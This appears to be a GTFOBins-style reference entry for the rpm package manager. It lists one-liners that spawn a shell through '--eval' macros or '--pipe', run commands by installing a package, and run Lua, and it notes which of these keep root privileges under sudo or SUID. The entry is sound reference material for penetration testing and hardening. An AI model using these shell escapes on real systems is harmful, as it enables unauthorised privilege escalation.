rpm
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
rpm --eval '%(/bin/sh 1>&2)'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.rpm --eval '%(/bin/sh 1>&2)'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.rpm --eval '%(/bin/sh 1>&2)' - This function can be performed by any unprivileged user.
rpm --pipe '/bin/sh 0<&1'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.rpm --pipe '/bin/sh 0<&1'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.rpm --pipe '/bin/sh 0<&1'
Command
This executable can run non-interactive system commands.
- This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.rpm -ivh x-1.0-1.noarch.rpm
Inherit
This executable can inherit functions from another.
- This function can be performed by any unprivileged user.
rpm --eval '%{lua:...}'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.rpm --eval '%{lua:...}'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.rpm --eval '%{lua:...}'